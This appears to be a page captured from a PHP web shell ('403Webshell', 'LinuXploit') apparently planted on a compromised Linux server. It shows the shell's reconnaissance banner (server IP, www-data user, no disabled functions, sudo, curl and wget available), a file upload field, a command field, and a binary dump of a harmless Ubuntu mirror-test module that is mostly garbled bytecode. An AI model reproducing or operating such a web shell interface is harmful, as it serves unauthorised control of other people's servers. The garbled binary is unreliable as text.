403Webshell
Server IP : 178.105.222.151  /  Your IP : 216.73.216.38
Web Server : nginx/1.28.3
System : Linux MNK 7.0.0-15-generic #15-Ubuntu SMP PREEMPT_DYNAMIC Wed Apr 22 16:06:43 UTC 2026 x86_64
User : www-data ( 33)
PHP Version : 8.5.4
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /lib/python3/dist-packages/softwareproperties/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /lib/python3/dist-packages/softwareproperties/__pycache__/MirrorTest.cpython-314.pyc
+
5|Ai��T�^RIt^RIHtHt^RIt^RIt^RIt^RIt^RI	t
^RIt
^RIH
t
^RIt!RR]P 4t]R8XEd1]
P&P)4t]P+]
P,P/44]P0!R4t]P54P74t]P:!4t]P?4R]P@PB:R	]P@PD^,PB:R
]:R2t#]!]$!]P@PJPM44]#]P:!4]4t']'PQ4R#R# ]d
^RIHtHtEL�i;i ]d^RIH
t
ELyi;i)�N)�Empty�Queue)�urlopenc�a�]tRt^toRt!RR]P4tR
RltRt	RRlt
RtRR	ltRR
lt
RtRtVtR#)�
MirrorTestz@Determines the best mirrors by perfoming ping and download test.c�4a�]tRt^toRtRRltRtRtVtR#)�MirrorTest.PingWorkerz�Use the command line command ping to determine the server's
response time. Using multiple threads allows to run several
test simultaneously.c���WPnW`nW@nW0nWnW n\P!R4Vn\PPV4R#)z^rtt .* = [\.\d]+/([\.\d]+)/.*N)�borders�mod�parent�id�jobs�results�re�compile�match_result�	threading�Thread�__init__)�selfrrrr
rrs&&&&&&&�?/usr/lib/python3/dist-packages/softwareproperties/MirrorTest.pyr�MirrorTest.PingWorker.__init__sF��"�L��H� �K��G��I�"�L� "�
�
�+L� M�D�����%�%�d�+�c�n�RpVPP4'Eg�VPPP	4'Ed�VPPR4pVPpVPPRV,4\P!RRRRRV.\P\PRR	7PpVP4pV'gM#\P!VP V4pK=\$P&P)4\$;P*^,
unVPP-\$P*\$P.VP0VP24V'd/VP4P7\9V^,4VX.4\$P&P;4EK�R#R# \"dR#TPPR
X,4EL;i)NFz
Pinging %s...�pingz-qz-c 2z-W 1z-i 0.5T)�stdout�stderr�universal_newlineszSkipping %s)r�emptyr
�running�isSet�get�hostname�
report_action�
subprocess�Popen�PIPE�STDOUTr�readliner�findallrrr�completed_lock�acquire�	completed�report_progress�todorrr�append�float�release)r�result�mirror�host�commando�lines&     r�run�MirrorTest.PingWorker.run#s����F��i�i�o�o�'�'�D�K�K�,?�,?�,E�,E�,G�,G�D�!�Y�Y�]�]�5�1�F�!�?�?�D��K�K�-�-�o��.D�E�)�/�/���v�v�x�Y]�0^�7A���7A�7H�7H�CG� I�JP����'�0�0�2��#�!�!#���D�,=�,=�t�!D���)�)�1�1�3��$�$��)�$����+�+�J�,@�,@�,6�O�O�,0�L�L�,0�H�H�6���L�L�'�'��v�a�y�)9�4��(H�I��)�)�1�1�3�9-H�'�����D��K�K�-�-�m�d�.B�C�s�B'H�9#H�H4�#H4)rrrrrr
rN)�r��rr)	�__name__�
__module__�__qualname__�__firstlineno__�__doc__rr9�__static_attributes__�__classdictcell__��
__classdict__s@r�
PingWorkerr	s����	#�	,�	4�	4rrGNc�n�\PPV4RVnRVnW0nRVnW n.Vn^\n
\P!4\n\V4\nWnV'g\P !4VnR#W@nR#)�N)rrg)rrr�action�progress�event�best�	test_file�threadsrr.�Lockr,�lenr0�mirrors�Eventr!)rrRrNrLr!s&&&&&rr�MirrorTest.__init__Csy�����!�!�$�'����#��
��
���	�"����� �
��$-�N�N�$4�
�!��g�,�
�����$�?�?�,�D�L�"�Lrc�n�WnVP'dVPP4R#R#�N)rJrL�set)r�texts&&rr%�MirrorTest.report_actionTs#�����:�:�:��J�J�N�N��rc��W^,,W$^,,V^,V^,V^,,
V,V,,3VnVP'dVPP4R#R#)zISubclasses should override this method to receive
progress status updatesN)rKrLrW)r�current�maxrrs&&&&&rr/�MirrorTest.report_progressYsb��!�q�6�)��1�v�� ���w�q�z�G�A�J�'>�#�&E��&O�O�Q��
��:�:�:��J�J�N�N��rc
��VP^RRR7p\VP4pV^8�d�VP^^VP\P
!^V^,
4,.4VP^^VP\P
!^V^,
4,.4TP
VUu.uFq3^,NK
	upR	\P\P3R7pVF"wrV\RVP:RV:24K$	V'gR#V^,^,Pp\RV,4V#uupi)
�)r\rr)rrzmirror: z	 - time: Nzand the winner is: %s)r��?)r��r`r<)�
run_ping_testrQrRr1�random�randint�run_download_testrr0�printr$)r�results_ping�size�rr�t�h�winners&       r�
run_full_test�MirrorTest.run_full_testbs���)�)�a��u�)�M���4�<�<� ���!�8�����A�t�|�|�F�N�N�1�d�1�f�4M�'N� O�P�����A�t�|�|�F�N�N�1�d�1�f�4M�'N� O�P��(�(��)E��1�A�$�$��)E�19�.8�o�o�.8�o�o�.?�)�@���F�Q��Q�Z�Z��;�<�����Q�Z��]�+�+�F��)�F�2�3��M��*Fs�Ec	��VR8Xd
VPp\4pVFpVPV4K	.p\^4FEp\PWWW�W44p	VPPV	4V	P4KG	VPFp	V	P4K	VP4V^V#)z�Performs ping tests of the given mirrors and returns the
best results (specified by max).
Mod and borders could be used to tweak the reported result if
the download test is only a part of a whole series of tests.N)rRr�put�rangerrGrOr1�start�join�sort)
rrRr\rrr�mr�irks
&&&&&     rrc�MirrorTest.run_ping_testws���
�d�?��l�l�G��w���A��H�H�Q�K�����r��A��%�%�d�Q�g�K�A��L�L����"�
�G�G�I��
���A�
�F�F�H��	�����q��~�rc�ba�V3RlpVR8Xd
SPp.pVFypSPP4'gMXV!V4pV^8�dVPW�.4SP	VPV4^,\
V4RV4K{	VP4V^V#)z�Performs download tests of the given mirrors and returns the
best results (specified by max).
Mod and borders could be used to tweak the reported result if
the download test is only a part of a whole series of tests.c�0<�VP4^,:RSP:2pSPRV,4\P!4p\	V^R7PR4\P!4V,
# ^#;i)r�/zDownloading %s...)�timeouti�)�
get_repo_urlsrNr%�timer�read)r5�urlrsrs&  �r�test_download_speed�9MirrorTest.run_download_test.<locals>.test_download_speed�sy���#�1�1�3�A�6�6�!�^�^�-�C����2�S�8�9��I�I�K�E�
���Q�'�,�,�V�4��y�y�{�U�*�*��
��s�7B�BNrb)rRr!r"r1r/�indexrQru)	rrRr\rrr�rrv�
download_times	f&&&&    rrf�MirrorTest.run_download_test�s����		��d�?��l�l�G����A��<�<�%�%�'�'��/��2�M��q� ����
�1�2�� � ����q�!1�A�!5�s�7�|�X�s�S�
�	�����q��~�rc�d�VP4VnVPP4R#)z/Complete test exercise, set self.best when doneN)rnrMr!�clear)rs&rr9�MirrorTest.run�s"���&�&�(��	������r)rJrMrLrRrKr!rNrOrV))r�dr=)NNr;r=)r>r?r@rArBrrrGrr%r/rnrcrfr9rCrDrEs@rrrsC����J�+4�Y�%�%�+4�Z#�"�
��*�.�<�rr�__main__zdpkg --print-architecturezdists/r{z/binary-z/Packages.gz))r�queuerr�ImportErrorr~rr&�os�aptsources.distro�
aptsources�aptsources.sourceslist�urllib.requestr�urllib2rdrrr>�distro�
get_distro�get_sources�sourceslist�SourcesList�popen�piper�strip�archrSr!rW�source_template�name�
componentsrN�list�
mirror_set�values�apprn�rr�<module>r�sc���#�"��	��	��� �&��[��!�!�[�z�z��
�
�
�
)�
)�
+�F�
���z�-�-�9�9�;�<�
�8�8�/�0�D��9�9�;����D��o�o��G��K�K�M��'�'�,�,��'�'�2�2�1�5�:�:���I��T�&�0�0�;�;�B�B�D�E��	��� 1�7�<�C�������W�#�"�"�#��� ��� �s"�F�F�F�F�
F'�&F'

Youez - 2016 - github.com/yon3zu
LinuXploit